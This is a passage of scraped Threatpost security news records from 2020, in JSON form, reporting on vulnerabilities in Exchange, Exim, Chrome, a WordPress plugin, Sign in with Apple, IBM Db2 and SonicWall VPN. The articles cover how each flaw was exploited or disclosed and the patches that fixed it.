pages under /owa and then under /ecp.\u201d\n\n**[On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.\n", "cvss3": {}, "published": "2020-09-30T14:34:00", "type": "threatpost", "title": "Microsoft Exchange Servers Still Open to Actively Exploited Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-5135"], "modified": "2020-09-30T14:34:00", "id": "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "href": "https://threatpost.com/microsoft-exchange-exploited-flaw/159669/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:24:47", "description": "The Russia-linked APT group Sandworm has been spotted exploiting a vulnerability in the internet\u2019s top email server software, according to the National Security Agency (NSA).\n\nThe bug exists in the Exim Mail Transfer Agent (MTA) software, an open-source offering used on Linux and Unix-like systems. It essentially receives, routes and delivers email messages from local users and remote hosts. Exim is the default MTA included on some Linux distros like Debian and Red Hat, and Exim-based mail servers in general run almost 57 percent of the internet\u2019s email servers, according to [a survey last year](<http://www.securityspace.com/s_survey/data/man.201905/mxsurvey.html>).\n\nThe bug ([CVE-2019-10149](<https://threatpost.com/linux-servers-worm-exim-flaw/145698/>)) would allow an unauthenticated remote attacker to execute commands with root privileges on an Exim mail server, allowing the attacker to install programs, modify data and create new accounts. It\u2019s also wormable; a previous campaign spread cryptominers automatically from system to system using a port sniffer. The bug was patched last June.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe NSA this week released a cybersecurity advisory on new exploit activity from Unit 74455 of the GRU Main Center for Special Technologies (GTsST), a division of the Russian military intelligence service, a.k.a. Sandworm, a.k.a. BlackEnergy. The APT [has been linked to](<https://threatpost.com/notpetya-linked-to-industroyer-attack-on-ukraine-energy-grid/138287/>) the Industroyer attack on the Ukrainian power grid as well as the [infamous NotPetya attacks](<https://threatpost.com/maersk-shipping-reports-300m-loss-stemming-from-notpetya-attack/127477/>). According to Kaspersky, the group is part of a nexus of related APTs that also includes a [recently discovered group called Zebrocy](<https://threatpost.com/zebrocy-russian-apt/145328/>).\n\nThe flaw can be exploited using a specially crafted email containing a modified \u201cMAIL FROM\u201d field in a Simple Mail Transfer Protocol (SMTP) message. The APT has been exploiting unpatched Exim servers in this way since at least August, according [the NSA\u2019s advisory](<https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf>).\n\nOnce Sandworm compromises a target Exim server, it subsequently downloads and executes a shell script from a Sandworm-controlled domain to establish a persistent backdoor that can be used for reconnaissance, spying on mail messages, lateral movement and additional malware implantation.\n\n\u201cThis script would attempt to do the following on the victim machine: Add privileged users; disable network security settings; update SSH configurations to enable additional remote access; and execute an additional script to enable follow-on exploitation,\u201d according to the NSA, which didn\u2019t disclose any details as to the victimology of the latest offensives.\n\nExim admins should update their MTAs to [version 4.93 or newer](<https://exim.org/mirrors.html>) to mitigate the issue, the NSA noted.\n\n\u201cThis emphasizes the need for a good vulnerability management plan,\u201d Lamar Bailey, senior director of security research at Tripwire, said via email. \u201cCVE-2019-10149 has been out almost a year now and has a CVSS score above 9, making it a critical vulnerability. High-scoring vulnerabilities on a production email server are high risk and there should be plans in place to remediate them ASAP.\u201d\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-05-29T16:34:38", "type": "threatpost", "title": "NSA Warns of Sandworm Backdoor Attacks on Mail Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-10149", "CVE-2020-5135"], "modified": "2020-05-29T16:34:38", "id": "THREATPOST:130EDA07603C228BE562B445904A297A", "href": "https://threatpost.com/nsa-sandworm-spy-attacks-exim-mail-servers/156125/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:20:59", "description": "The Google Chrome web browser has a high-severity vulnerability that could be used to execute arbitrary code, researchers say. The flaw has been fixed in the Chrome 85 stable channel, set to be rolled out to users [this week](<https://www.chromestatus.com/features/schedule>).\n\nThe flaw (CVE-2020-6492) is a use-after-free vulnerability in the WebGL (Web Graphics Library) component of Chrome browser. This component is a Javascript API that lets users render 2D and 3D graphics within their browser. This specific flaw stems from the WebGL component failing to properly handle objects in memory.\n\n\u201cAn adversary could manipulate the memory layout of the browser in a way that they could gain control of the use-after-free exploit, which could ultimately lead to arbitrary code execution,\u201d according to Jon Munshaw with Cisco Talos [in a Monday analysis](<https://blog.talosintelligence.com/2020/08/vuln-spotlight-chrome-use-free-aug-2020.html>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe flaw ranks 8.3 out of 10 on the CVSS scale, making it a high-severity vulnerability. Researchers said this vulnerability specifically exists in ANGLE, a compatibility layer between OpenGL and Direct3D used on Windows by Chrome browser and other project.\n\nAccording to the proof-of-concept (PoC) attack outlined by researchers, the issue exists in a function of ANGLE, called \u201cState::syncTextures.\u201d This function is responsible for checking if texture has any \u201cDirtyBits.\u201d These are \u201cbitsets\u201d indicating if a specific state value, associated with a block of computer memory, has been changed.\n\nAn attacker can execute vulnerable code via a function called drawArraysInstanced. When the texture object tries to syncState (via the \u201cTexture::syncState function) it creates a use after free condition. Use after free stems from attempts to access memory after it has been freed, which can cause a program to crash or can potentially result in the execution of arbitrary code.\n\nThreatpost has reached out to Cisco for further details of the flaw, including how a real-world attack scenario would play out.\n\nThe flaw, which was reported to Cisco May 19, impacts Google Chrome versions 81.0.4044.138 (Stable), 84.0.4136.5 (Dev) and 84.0.4143.7 (Canary). A fix became available via Google Chrome\u2019s Beta channel release, but it has been officially rolled out to the Stable channel for version 85.0.4149.0 that will roll out on Monday. The stable channel is the Chrome version that users generally get; while the Beta channel allows specific users to preview upcoming Chrome features before they\u2019re released and give Google feedback.\n\nThe bug comes after a vulnerability was found in [Google\u2019s Chromium-based browsers](<https://threatpost.com/google-chrome-bug-data-theft/158217/>) earlier in August, which could allow attackers to bypass the Content Security Policy (CSP) on websites, in order to steal data and execute rogue code. The bug ([CVE-2020-6519](<https://bugs.chromium.org/p/chromium/issues/detail?id=1064676>)) is found in Chrome, Opera and Edge, on Windows, Mac and Android \u2013 potentially affecting billions of web users, according to PerimeterX cybersecurity researcher Gal Weizman. Chrome versions 73 (March 2019) through 83 are affected (84 was released in July and fixes the issue).\n\n_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)**_, 2020 in Security: Four Stories from the New Threat Landscape_**_, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._\n", "cvss3": {}, "published": "2020-08-24T21:31:00", "type": "threatpost", "title": "Google Fixes High-Severity Chrome Browser Code Execution Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135", "CVE-2020-6492", "CVE-2020-6519"], "modified": "2020-08-24T21:31:00", "id": "THREATPOST:3A306ADED5369A8AA74DD95614F98FBD", "href": "https://threatpost.com/google-fixes-high-severity-chrome-browser-code-execution-bug/158600/", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2020-10-15T22:20:44", "description": "A high-severity cross-site request forgery (CSRF) vulnerability in Real-Time Find and Replace, a WordPress plugin installed on more than 100,000 sites, could lead to cross-site scripting and the injection of malicious JavaScript anywhere on a victim site.\n\nAccording to research from Wordfence [released on Monday](<https://www.wordfence.com/blog/2020/04/high-severity-vulnerability-patched-in-real-time-find-and-replace-plugin/>), the malicious code injection could be used to create a new administrative user account, steal session cookies, redirect users to a malicious site, obtain administrative access or to infect innocent visitors browsing a compromised site with a drive-by malware attack.\n\nReal-Time Find and Replace allows administrators to dynamically replace any HTML content on WordPress sites with new content without permanently changing the source content, right before a page is delivered to a user\u2019s browser. Any replacement code or content executes anytime a user navigates to a page that contains the original content.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cTo provide this functionality, the plugin registers a sub-menu page tied to the function far_options_page with a capability requirement to \u2018activate_plugins,'\u201d explained Wordfence researcher Chloe Chamberland, in a Monday posting. \u201cThe far_options_page function contains the core of the plugin\u2019s functionality for adding new find-and-replace rules. Unfortunately, that function failed to use nonce verification, so the integrity of a request\u2019s source was not verified during rule update, resulting in a CSRF vulnerability.\u201d\n\nCross-site request forgery attacks (CSRF or XSRF for short) are used to send malicious requests from an authenticated user to a web application. Thus, a successful exploit of the bug does require user interaction: An attacker would need to trick a site\u2019s administrator into clicking on a malicious link in a comment or email, according to Wordfence.\n\nAttackers could particularly wreak havoc if they used the bug to replace the <head> HTML tag with malicious JavaScript, she added. Because most pages contain a <head> HTML tag for the page header, once replacement would cause the malicious code to execute on every page of the affected site.\n\nUpdating to the latest version of the plugin, version 4.0.2, will implement a fix for the issue.\n\n\u201cIn the most up to date version, a nonce has been added along with a check_admin_referer nonce verification function to ensure the legitimacy of the source of a request,\u201d said Chamberland.\n\nWordPress plugins continue to make headlines as weak links that can lead to website compromises. For instance, in April a pair of security vulnerabilities (one of them critical) in the WordPress search engine optimization (SEO) plugin known as Rank Math, [were found](<https://threatpost.com/critical-wordpress-plugin-bug-lock-admins-out/154354/>). They could allow remote cybercriminals to elevate privileges and install malicious redirects onto a target site, according to researchers. RankMath a WordPress plugin with more than 200,000 installations.\n\nIn March, a critical vulnerability in a WordPress plugin known as \u201cThemeREX Addons\u201d [was found](<https://threatpost.com/themerex-wordpress-plugin-remote-code-execution/153592/>) that could open the door for remote code execution in 44,000 websites.\n\nAlso in March, two vulnerabilities \u2013 including a high-severity flaw \u2013 [were patched](<https://threatpost.com/wordpress-plugin-bug-popup-builder/153715/>) in a popular WordPress plugin called Popup Builder. The more severe flaw could enable an unauthenticated attacker to infect malicious JavaScript into a popup \u2013 potentially opening up more than 100,000 websites to takeover.\n\nIn February, popular WordPress plugin Duplicator, which has more than 1 million active installations, [was discovered to have](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) an unauthenticated arbitrary file download vulnerability that was being attacked. And, earlier that month, a critical flaw in a popular WordPress plugin that helps make websites compliant with the General Data Protection Regulation (GDPR) [was disclosed](<https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/>). The flaw could enable attackers to modify content or inject malicious JavaScript code into victim websites. It affected 700,000 sites.\n\n**_Inbox security is your best defense against today\u2019s fastest growing security threat \u2013 phishing and Business Email Compromise attacks. [On May 13 at 2 p.m. ET](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>), join Valimail security experts and Threatpost for a FREE webinar, [5 Proven Strategies to Prevent Email Compromise](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>). Get exclusive insights and advanced takeaways on how to lockdown your inbox to fend off the latest phishing and BEC assaults. Please [register here ](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-04-28T15:08:17", "type": "threatpost", "title": "WordPress Plugin Bug Opens 100K Websites to Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-04-28T15:08:17", "id": "THREATPOST:718E4F36F0096BBE66CB2FAE28048810", "href": "https://threatpost.com/wordpress-plugin-bug-100k-websites-compromise/155230/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:19:05", "description": "A researcher recently found a critical Apple vulnerability that, if exploited, could enable remote attackers to abuse the \u201cSign in with Apple\u201d feature to take over victims\u2019 third-party application accounts. The security researcher, Bhavuk Jain, reported the flaw to Apple via its bug bounty program, and was awarded $100,000 for the find.\n\nThe flaw stemmed from the \u201c[Sign in with Apple](<https://developer.apple.com/sign-in-with-apple/>)\u201d feature, which was introduced by Apple at its Worldwide Developers Conference last year. Sign in with Apple aimed to make it easy and secure for Apple users to sign into third-party apps and websites. It did this by implementing an Apple-backed authentication system to replace social logins on third-party services.\n\n\u201cIn the month of April, I found a zero-day in Sign in with Apple that affected third-party applications which were using it and didn\u2019t implement their own additional security measures,\u201d said Jain, [in his disclosure of the bug on Sunday](<https://bhavukjain.com/blog/2020/05/30/zeroday-signin-with-apple/>). \u201cThis bug could have resulted in a full account takeover of user accounts on that third party application irrespective of a victim having a valid Apple ID or not.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nApple has since fixed the flaw. Threatpost has reached out to Apple for further comment.\n\nOne of the highlights of Sign in with Apple is that users could sign up with third-party services without needing to disclose their Apple ID email address to these services. This worked because Sign in with Apple would first validate users on the client side, and then initiate a JSON Web Token (JWT) request from Apple\u2019s authentication services. This JWT would then be used by the third-party app to confirm the user\u2019s identity.\n\nThe issue was that after Apple validated the user on the client side via their Apple ID email address, it did not verify that the JWT request was from that actual user account. An attacker could abuse this flaw by providing an Apple ID email that belongs to the victim and tricking Apple servers into generating a valid JWT payload. Once an attacker does this, he can then sign into a third-party app using the victim\u2019s identity.\n\n[![apple critical flaw ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/01105057/flow_apple_auth-300x178.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/01105057/flow_apple_auth.png>)\n\nCredit: Bhavuk Jain\n\n\u201cI found I could request JWTs for any Email ID from Apple and when the signature of these tokens was verified using Apple\u2019s public key, they showed as valid,\u201d he said. \u201cThis means an attacker could forge a JWT by linking any Email ID to it and gaining access to the victim\u2019s account.\u201d\n\nAccording to [The Hacker News](<https://thehackernews.com/2020/05/sign-in-with-apple-hacking.html>), the flaw could be exploited even if users had decided to hide their email IDs from third-party services. It could also be exploited to sign up new accounts with victims\u2019 Apple IDs.\n\nThere are two hoops that attackers would need to jump through to make this exploit work. First, they would need an email ID for an Apple user \u2013 though that could be any Apple user\u2019s email ID. Second, they would need to log into a third-party app via Sign in with Apple that didn\u2019t require any further security measures.\n\nJain said the impact of this vulnerability is \u201cquite critical\u201d as it could allow full account takeover. Many developers have integrated Sign in with Apple into their services, including Dropbox, Spotify, Airbnb, and Giphy.\n\n\u201cThese applications were not tested but could have been vulnerable to a full account takeover if there weren\u2019t any other security measures in place while verifying a user,\u201d Jain said.\n\nJain said that Apple conducted an investigation of their logs and determined there was no misuse or account compromise due to this vulnerability. The researcher found the flaw in April and reported it via Apple\u2019s bug bounty program which earned him $100,000. Threatpost has reached out to Jain for further details on the timeline of discovering and reporting the flaw.\n\n[Apple in December 2019](<https://threatpost.com/apples-bug-bounty-opens-1m-payout/151334/>) opened up its historically private bug-bounty program to the public, bolstering its top payout to $1 million, in an effort to weed out serious vulnerabilities. Another Apple flaw recently [disclosed in April](<https://threatpost.com/apple-safari-flaws-webcam-access/154476/>) earned a bug bounty hunter $75,000 for finding Safari flaws that could be exploited to snoop on iPhones, iPads and Mac computers using their microphones and cameras.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-06-01T16:07:45", "type": "threatpost", "title": "Apple Pays $100K Bounty for Critical 'Sign in With Apple' Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-06-01T16:07:45", "id": "THREATPOST:DF1387D21FA2EBF23BBB67081E7B75EC", "href": "https://threatpost.com/apple-100k-bounty-critical-sign-in-with-apple-flaw/156167/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:09", "description": "The IBM\u2019s next-gen data-management software suffers from a shared-memory vulnerability that researchers said could lead to other threats \u2014 as demonstrated by a new proof-of-concept exploit for the bug.\n\nThe IBM Db2 is a family of hybrid data-management products containing artificial intelligence, which can be used to analyze and manage both structured and unstructured data within enterprises.\n\nAccording to researchers at Trustwave, the recently disclosed bug (CVE-2020-4414) arises because the platform\u2019s developers forgot to put explicit memory protections around the shared memory used by the Db2 trace facility. If exploited, it could lead to denial-of-service (DoS) or information disclosure.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe trace facility is a function that allows users to isolate certain data points by monitoring selected parameters. This gives users what is essentially a log of control flow information (functions and associated parameter values), which can be helpful in slicing, dicing and separating out data for analysis. As such, the data at risk from an exploit could be literally anything generated within a targeted organization. For a healthcare provider for instance, cybercriminals could make off with HIPAA-protected patient information; a financial company meanwhile could be at risk for a breach of credit-card data.\n\nOn the DoS front, Karl Sigler, senior security research manager for SpiderLabs at Trustwave, told Threatpost that \u201cdatabases are often deployed as critical system. An attacker with a foothold on the system could consistently bring down the database and interrupt whatever system that depends on it and it\u2019s data.\u201d\n\nThe crux of the issue is that it allows local privilege-escalation and crashing of the device. The lack of explicit memory protections \u201callows any local users read-and-write access to that memory area,\u201d Trustwave researchers said, in their PoC exploit writeup for the bug, issued on Thursday. \u201cIn turn, this allows them to access critically sensitive data as well as the ability to change how the trace subsystem functions, resulting in a denial-of-service condition in the database.\u201d\n\nThey added, \u201cNeedless to say, both shouldn\u2019t be possible for regular users.\u201d\n\nWhile technically an attacker would need to be local, it\u2019s possible to remotely execute such a low-privileged process (i.e., malware) on a vulnerable machine to trigger an exploit: \u201cLow-privileged processes, running on the same computer as Db2 database, can alter Db2 traces and capture sensitive data \u2013 and use that later for subsequent attacks,\u201d the researchers explained.\n\n## PoC Launched\n\nTo exploit the bug, attackers can send a specially crafted request to the trace facility.\n\nTrustwave\u2019s PoC starts with launching Process Explorer or other any similar tool in Windows to check open handles of the Db2 main process. Then, the researchers created a simple console application that tries to open a given memory section by name. Once that\u2019s running, an attacker can enable Db2 tracing, which opens the door to an attack.\n\n\u201cAnd now we can see what\u2019s been written to those memory sections,\u201d according to Trustwave\u2019s analysis. \u201cIn the end, this means that an unprivileged local user can abuse this to cause a denial-of-service condition simply by writing incorrect data over that memory section\u2026there are absolutely no permissions assigned to the shared memory so that anyone can read from and write to it.\u201d\n\nMartin Rakhmanov, security research manager for SpiderLabs at Trustwave, elaborated on the PoC for Threatpost. \u201cI show Process Explorer just to illustrate that shared memory is not protected. It is not required to conduct the attack at all,\u201d he said. \u201cThe console application just reads the shared memory and thus can access Db2 trace information. It can be modified (the app) to change the Db2 trace as well. Finally, the attacker needs a low-privileged access to the computer where Db2 server is running.\u201d\n\nHe added, \u201cThis is not the same as having control of the machine. So anyone who can connect to the computer where Db2 server is running can read/change the Db2 trace which is not good: On the contrary, the tracing facility requires special privileges inside the Db2 but the vulnerability allows to bypass that.\u201d\n\nThis shared-memory vulnerability is very similar to one [found in the Cisco WebEx Meetings Client](<https://threatpost.com/cisco-webex-router-code-execution/156706/>) on Windows in March (CVE-2020-3347), where any user could read memory dedicated to trace data, Trustwave researchers explained. In that case, any malicious local user or malicious process running on a PC where WebEx is installed can monitor the memory mapped file for a login token. Once found, the token, like any leaked credentials, can be transmitted somewhere so that it can be used to login to the WebEx account in question, download recordings, view/edit meetings and so on.\n\nAll fix pack levels of IBM Db2 V9.7, V10.1, V10.5, V11.1, and V11.5 editions on all platforms are affected by this latest shared-memory flaw, and users should [update to the latest version](<https://www.ibm.com/support/pages/node/6242356>) to fix the issue, the firm said.\n\n\u201cThis attack could have been widespread, as all Db2 instances of up-to-current version (11.5) on Windows were affected,\u201d Trustwave researchers noted.\n\n_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)**_, 2020 in Security: Four Stories from the New Threat Landscape_**_, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._\n", "cvss3": {}, "published": "2020-08-20T12:00:39", "type": "threatpost", "title": "IBM AI-Powered Data Management Software Subject to Simple Exploit", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-3347", "CVE-2020-4414", "CVE-2020-5135"], "modified": "2020-08-20T12:00:39", "id": "THREATPOST:A43BC2773FE4FB67EB7B8F584F137132", "href": "https://threatpost.com/ibm-ai-powered-data-management-software-subject-exploit/158497/", "cvss": {"score": 3.6, "vector": "AV:L/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-10-15T22:25:19", "description": "Cisco Systems released security patches on Wednesday for high-severity vulnerabilities affecting over a half dozen of its small business switches. The flaws allow remote unauthenticated adversaries to access sensitive information and level denial-of-service (DoS) attacks against affected gear.\n\nImpacted are Series Smart Switches, Series Managed Switches and Series Stackable Managed Switches. Cisco said it was unaware of active exploitation of the vulnerabilities and software updates remediating the flaws are available, however no workaround fixes are available.\n\nThe vulnerabilities include an information disclosure flaw ([CVE-2019-15993](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smlbus-switch-dos-R6VquS2u>)) and a bug ([CVE-2020-3147](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smlbus-switch-dos-R6VquS2u>)) that creates conditions optimum for a DoS attack. \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nCisco says that the latter vulnerability is tied the web user interface used by affected switches that could allow an unauthenticated remote attacker to \u201ccause an unexpected reload of the device, resulting in a DoS condition.\u201d\n\nThe vulnerability is due to improper validation of requests sent to the web interface. \u201cAn attacker could exploit this vulnerability by sending a malicious request to the web interface of an affected device,\u201d Cisco wrote.\n\nA weakness in Cisco\u2019s web user interface for its small business switches is also to blame for the information disclosure bug.\n\n[![Cisco Systems small business switches contain two bugs](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/30123004/Cisco-Small-Business-Switches-300x200.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/30123004/Cisco-Small-Business-Switches.jpg>)\u201cThe vulnerability exists because the software lacks proper authentication controls to information accessible from the web UI. An attacker could exploit this vulnerability by sending a malicious HTTP request to the web UI of an affected device,\u201d Cisco wrote.\n\nA successful attack could allow an adversary to access sensitive configuration files, according to the company.\n\nVulnerable to the information disclosure bug are: 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches and 550X Series Stackable Managed Switches running firmware release earlier than 2.5.0.92. Also impacted are switch models 200 Series Smart Switches, 300 Series Managed Switches and 500 Series Stackable Managed Switches running a firmware release earlier than 1.4.11.4.\n\nCisco said the DoS bug impacts the same products with the exception of switches; 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches and 550X Series Stackable Managed Switches.\n\nResearcher Ken Pyle of DFDR Consulting is credited by Cisco for reporting both vulnerabilities.\n", "cvss3": {}, "published": "2020-01-30T17:38:37", "type": "threatpost", "title": "Cisco Patches Two High-Severity Bugs in its Small Business Switch Lineup", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-15993", "CVE-2020-3147", "CVE-2020-5135"], "modified": "2020-01-30T17:38:37", "id": "THREATPOST:97C27999457834C42771A5FB9EEAD852", "href": "https://threatpost.com/cisco-patches-high-severity-bugs-in-switch-lineup/152392/", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2020-10-16T22:06:43", "description": "UPDATE\n\nA critical security bug in the SonicWall VPN portal can be used to crash the device and prevent users from connecting to corporate resources. It could also open the door to remote code execution (RCE), researchers said.\n\nThe flaw ([CVE-2020-5135](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0010>)) is a stack-based buffer overflow in the SonicWall Network Security Appliance (NSA). According to researchers who discovered it, the flaw exists within the HTTP/HTTPS service used for product management and SSL VPN remote access.\n\nAn unskilled attacker could trigger a persistent denial-of-service condition using an unauthenticated HTTP request involving a custom protocol handler, wrote Craig Young, a computer security researcher with Tripwire\u2019s Vulnerability and Exposures Research Team (VERT), in a [Tuesday analysis](<https://www.tripwire.com/state-of-security/vert/sonicwall-vpn-portal-critical-flaw-cve-2020-5135/>). But the damage could go further.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201c[VPN bugs](<https://threatpost.com/fortigate-vpn-default-config-mitm-attacks/159586/>) are tremendously dangerous for a bunch of reasons,\u201d he told Threatpost. \u201cThese systems expose entry points into sensitive networks and there is very little in the way of security introspection tools for system admins to recognize when a breach has occurred. Attackers can breach a VPN and then spend months mapping out a target network before deploying ransomware or making extortion demands.\u201d\n\nAdding insult to injury, this particular flaw exists in a pre-authentication routine, and within a component (SSL VPN) which is typically exposed to the public internet.\n\n\u201cThe most notable aspect of this vulnerability is that the VPN portal can be exploited without knowing a username or password,\u201d Young told Threatpost. \u201cIt is trivial to force a system to reboot\u2026An attacker can simply send crafted requests to the SonicWALL HTTP(S) service and trigger memory corruption.\u201d\n\nHowever, he added that a code-execution attack does require a bit more work.\n\n\u201cTripwire VERT has also confirmed the ability to divert execution flow through stack corruption, indicating that a code-execution exploit is likely feasible,\u201d he wrote, adding in an interview that an attacker would need to also leverage an information leak and a bit of analysis to pull it off.\n\nThat said, \u201cIf someone takes the time to prepare RCE payloads, they could likely create a sizeable botnet through a worm,\u201d he said.\n\nNikita Abramov, application analysis specialist at Positive Technologies (PT), and Young are credited with finding the flaw.\n\nThere\u2019s no sign of exploitation so far, Young said, but a Shodan search for the affected HTTP server banner indicated 795,357 vulnerable hosts as of Tuesday, he said. PT meanwhile counted around 460,000 vulnerable devices, leaving a lack of consensus.\n\n\u201cPT believes 460,000 is a more accurate figure: Shodan shows both ports 443 and 80. In total, there are about 800,000 devices, but there is a re-address from port 80 to port 443 to the same device, so it\u2019s incorrect to count them together,\u201d the firm told Threatpost. \u201cIt\u2019s possible some companies have installed patches already; there\u2019s no sure-fire way to indicate if a device is vulnerable without conducting an attack.\u201d\n\nSonicWall has issued a patch; SSL VPN portals may be disconnected from the internet as a temporary mitigation before the patch is applied.\n\n\u201cSonicWall was contacted by a third-party research team regarding issues related to SonicWall next-generation virtual firewall models (6.5.4v) that could potentially result in Denial-of-Service (DoS) attacks and/or cross-site scripting (XSS) vulnerabilities,\u201d the company said in a statement to Threatpost.\n\n\u201cImmediately upon discovery, SonicWall researchers conducted extensive testing and code review to confirm the third-party research,\u201d it continued. \u201cThis analysis lead to the discovery of additional unique vulnerabilities to virtual and hardware appliances requiring Common Vulnerabilities and Exposures (CVE) listings based on the Common Vulnerability Scoring System (CVSS). The PSIRT team worked to duplicate the issues and develop, test and release patches for the affected products. At 